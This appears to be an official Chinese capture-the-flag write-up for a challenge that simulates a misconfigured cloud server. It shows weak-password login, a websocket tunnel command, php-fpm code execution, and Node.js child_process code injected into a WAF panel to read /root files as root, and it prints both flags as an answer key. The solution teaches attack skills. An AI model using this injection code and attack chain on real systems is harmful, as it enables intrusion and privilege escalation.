cloud

点击此处获得更好的阅读体验


WriteUp来源

官方WP

题目考点

解题思路

该题目模拟了一个配置不当的云环境

  1. 作为⼀个云服务商的对外展示站,本站⼊⼝点是⼀个静态⽹站,我们对⽹站进⾏扫描,发现以下⼀些有趣的地⽅

管理员登录⼝ /admin

1
phpinfo.php

结合中间件Nginx来判断,⽬标服务器存在反向代理的情况。同时托管了半静态⽹站(beego框架)和php

  1. 通过对管理员登录⼝的弱密码猜解, admin:admin 可以获得以下信息,很明显这是上⼀个⿊客留下的后⻔程序。得到shadowclient的源代码。分析源代码可以得知这是⼀个websocket隧道代理,通过编译运⾏并通过附加cookie的参数就能向以服务器⽹络权限服务器发起访问。

    1
    2
    ./shadowclient -c beegosessionID=65c3ab016dc35d4c902755456d11209b -l
    127.0.0.1:10800 -o http://127.0.0.1 -p UAF -r ws://localhost/wsproxy

接下来,可以进⾏服务端端⼝探测了

挂上代理,使用proxychians + nmap -sT 端口扫描,可以得到127.0.0.1开放了端口9000,是php-fpm的端口,可以 rce,参考 phith0n 的脚本打一下

https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

获得了 www-data 权限,在根目录可以找到 flag1

  1. 研究后台其他进程,可以看到一个叫 sharewaf 的软件正在运行,监听了端口 13090

    1
    2
    查看该软件的⽂档
    http://www.sharewaf.com/

账号密码在 根目录的 password.txt.swp 中可以找到登录用的账号密码。

登陆 waf 后台后,在其他页面中可以在安全辅助功能中插入代码,直接插入 js 代码,

1
2
3
4
5
6
7
8
9
10
11
12
var exec = require('child_process').exec;
function execute(cmd){
exec(cmd, function(error, stdout, stderr) {
if(error){
console.error(error);
} else {
console.log("success");
}
});
}
execute('ls /root > /tmp/1.txt');
execute('cat /root/*.txt >> /tmp/1.txt');

重启 waf 即可触发 js 代码执行,反弹 shell 或者列目录 /root 即可看到flag2,完成提权过程。

此时的⽤户是root

⾄此我们完成了从外⽹突破到内⽹应⽤攻击到内⽹提权的过程。

备注

该题有两个flag

1
2
/flag1: 82648554-ff31-460a-977e-c1008ea6e02e 
/root/flag2: d43af794-94ef-40d1-af75-b4e8c6ca3bf3